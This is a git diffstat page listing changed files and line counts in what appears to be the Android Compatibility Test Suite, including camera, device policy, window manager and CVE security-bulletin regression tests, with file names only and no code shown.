summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py19
-rw-r--r--apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py21
-rw-r--r--apps/CameraITS/tests/scene3/test_flip_mirror.py8
-rw-r--r--apps/CameraITS/tests/scene4/test_multi_camera_alignment.py2
-rw-r--r--apps/CameraITS/tools/run_all_tests.py32
-rw-r--r--apps/CameraITS/utils/its_session_utils.py37
-rw-r--r--apps/CarWatchdogCompanionApp/Android.bp (renamed from hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp)19
-rw-r--r--apps/CarWatchdogCompanionApp/AndroidManifest.xml16
-rw-r--r--apps/CarWatchdogCompanionApp/OWNERS5
-rw-r--r--apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml21
-rw-r--r--apps/CarWatchdogCompanionApp/res/values/strings.xml21
-rw-r--r--apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java33
-rw-r--r--apps/CtsVerifier/AndroidManifest.xml14
-rw-r--r--apps/CtsVerifier/res/drawable/display_cutout_test_button.xml10
-rw-r--r--apps/CtsVerifier/res/layout/car_launcher_test_main.xml59
-rw-r--r--apps/CtsVerifier/res/layout/pro_audio.xml34
-rw-r--r--apps/CtsVerifier/res/values/strings.xml77
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java2
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java20
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java91
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java24
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java83
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java45
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java7
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java19
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java1
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java8
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java21
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java3
-rw-r--r--apps/VpnApp/Android.bp1
-rw-r--r--common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java4
-rw-r--r--common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java10
-rw-r--r--common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java29
-rw-r--r--common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt79
-rw-r--r--common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt79
-rw-r--r--common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt79
-rw-r--r--common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt5
-rw-r--r--common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java150
-rw-r--r--common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java47
-rwxr-xr-xcommon/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java28
-rw-r--r--hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java34
-rw-r--r--hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java37
-rw-r--r--hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml2
-rw-r--r--hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java10
-rw-r--r--hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java74
-rw-r--r--hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java53
-rw-r--r--hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java37
-rwxr-xr-xhostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java72
-rw-r--r--hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java20
-rw-r--r--hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java84
-rw-r--r--hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java39
-rw-r--r--hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivity.java9
-rw-r--r--hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java28
-rw-r--r--hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java44
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java5
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java20
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java87
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java47
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java94
-rw-r--r--hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java2
-rw-r--r--hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java124
-rw-r--r--hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java2
-rw-r--r--hostsidetests/inputmethodservice/hostside/AndroidTest.xml1
-rw-r--r--hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java4
-rw-r--r--hostsidetests/os/src/android/os/cts/InattentiveSleepTests.java33
-rwxr-xr-xhostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml4
-rw-r--r--hostsidetests/os/test-apps/InattentiveSleepTestApp/src/android/os/inattentivesleeptests/PartialWakeLockService.java75
-rw-r--r--hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp2
-rw-r--r--hostsidetests/packagemanager/domainverification/device/standalone/Android.bp3
-rw-r--r--hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml9
-rw-r--r--hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml2
-rw-r--r--hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt16
-rw-r--r--hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp1
-rw-r--r--hostsidetests/securitybulletin/Android.bp3
-rw-r--r--hostsidetests/securitybulletin/res/cve_2020_0034.ivfbin0 -> 100 bytes
-rw-r--r--hostsidetests/securitybulletin/res/cve_2021_0481.txt1
-rw-r--r--hostsidetests/securitybulletin/res/cve_2021_39664bin0 -> 1199 bytes
-rw-r--r--hostsidetests/securitybulletin/res/cve_2021_39804.heifbin0 -> 1017689 bytes
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp1
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c11
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp54
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp42
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp175
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp38
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp73
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp38
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp80
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp44
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp176
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp42
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp109
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp3
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp23
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/Android.bp31
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/poc.cpp75
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp (renamed from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp)2
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/poc.cpp (renamed from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp)0
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp2
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp108
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp38
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp65
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp38
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp84
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp39
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp22
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/Android.bp34
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/poc.cpp59
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java22
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java56
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java56
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java57
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java56
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java52
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java52
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java24
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java38
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java (renamed from hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java)6
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java27
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java125
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java92
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java56
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java43
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java16
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java47
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java56
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java51
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java42
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java52
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java51
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java52
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java57
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java60
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java61
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java59
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java52
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java17
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java3
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp35
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml36
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacertbin0 -> 712 bytes
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml38
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java141
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java90
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml56
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java199
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp13
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml12
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml19
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java107
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java51
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java24
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java41
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp33
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml44
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml26
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java100
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java22
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp40
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml45
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml27
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml26
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml22
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml22
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java100
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java260
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java (renamed from hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java)21
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp2
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java62
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp39
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml42
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java102
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java39
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp35
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml58
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml31
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml30
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java127
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java57
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java29
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java90
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp35
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml37
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml34
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java128
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java90
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39706/Android.bp39
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39706/AndroidManifest.xml48
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml30
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml33
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml22
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java151
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java66
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocDeviceAdminReceiver.java29
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocPolicyManager.java46
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/Android.bp37
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/AndroidManifest.xml42
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/res/layout/activity_main.xml26
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocActivity.java29
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocReceiver.java43
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/Android.bp38
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/AndroidManifest.xml37
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/DeviceTest.java57
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/PocTestActivity.java31
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39796/Android.bp39
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39796/AndroidManifest.xml38
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/Android.bp37
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/AndroidManifest.xml34
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/res/layout/activity_main.xml27
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/src/android/security/cts/CVE_2021_39796_harmful/PocActivity.java29
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39796/res/values/strings.xml40
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/DeviceTest.java121
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/PocService.java87
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39810/Android.bp33
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39810/AndroidManifest.xml37
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39810/res/xml/aid_list.xml23
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39810/src/android/security/cts/CVE_2021_39810/PocService.java29
-rw-r--r--hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java13
-rw-r--r--hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java1
-rw-r--r--hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java13
-rw-r--r--tests/AlarmManager/AndroidTest.xml1
-rw-r--r--tests/MediaProviderTranscode/AndroidTest.xml4
-rw-r--r--tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java13
-rwxr-xr-xtests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java18
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java3
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java7
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedContentTest.java7
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java7
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java14
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java13
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java45
-rw-r--r--tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java4
-rw-r--r--tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java234
-rw-r--r--tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java8
-rw-r--r--tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java31
-rw-r--r--tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java118
-rw-r--r--tests/framework/base/windowmanager/AndroidManifest.xml3
-rw-r--r--tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java9
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java30
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java17
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java6
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java45
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java13
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java3
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java29
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java16
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java20
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java55
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java16
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java15
-rw-r--r--tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java34
-rw-r--r--tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java56
-rw-r--r--tests/inputmethod/AndroidTest.xml1
-rw-r--r--tests/inputmethod/mockime/Android.bp1
-rw-r--r--tests/location/location_gnss/AndroidManifest.xml1
-rw-r--r--tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java88
-rw-r--r--tests/musicrecognition/AndroidTest.xml1
-rw-r--r--tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt5
-rw-r--r--tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java17
-rw-r--r--tests/tests/content/TEST_MAPPING22
-rw-r--r--tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java98
-rw-r--r--tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java49
-rw-r--r--tests/tests/media/src/android/media/cts/AudioManagerTest.java14
-rwxr-xr-xtests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java9
-rw-r--r--tests/tests/media/src/android/media/cts/SpatializerTest.java364
-rw-r--r--tests/tests/nfc/src/android/nfc/cts/NfcPreferredPaymentTest.java29
-rw-r--r--tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java4
-rw-r--r--tests/tests/permission2/res/raw/automotive_android_manifest.xml5
-rw-r--r--tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java6
-rw-r--r--tests/tests/permission3/src/android/permission3/cts/PermissionTest30WithBluetooth.kt29
-rw-r--r--tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java48
-rw-r--r--tests/tests/security/Android.bp2
-rw-r--r--tests/tests/security/AndroidManifest.xml4
-rw-r--r--tests/tests/security/aidl/android/security/cts/IBitmapService.aidl25
-rw-r--r--tests/tests/security/res/raw/cve_2020_11135.mp4bin0 -> 10960 bytes
-rw-r--r--tests/tests/security/src/android/security/cts/ActivityManagerTest.java16
-rw-r--r--tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java13
-rw-r--r--tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java17
-rw-r--r--tests/tests/security/src/android/security/cts/AndroidFutureTest.java5
-rw-r--r--tests/tests/security/src/android/security/cts/AssetManagerTest.java10
-rw-r--r--tests/tests/security/src/android/security/cts/AttributionSourceTest.java54
-rw-r--r--tests/tests/security/src/android/security/cts/AudioSecurityTest.java232
-rw-r--r--tests/tests/security/src/android/security/cts/BigRleTest.java12
-rw-r--r--tests/tests/security/src/android/security/cts/BinderExploitTest.java11
-rw-r--r--tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java19
-rw-r--r--tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java17
-rw-r--r--tests/tests/security/src/android/security/cts/BitmapService.java50
-rw-r--r--tests/tests/security/src/android/security/cts/BitmapTest.java173
-rw-r--r--tests/tests/security/src/android/security/cts/BitmapWrapper.java125
-rw-r--r--tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java12
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2020_0294.java4
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0309.java4
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java3
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0339.java5
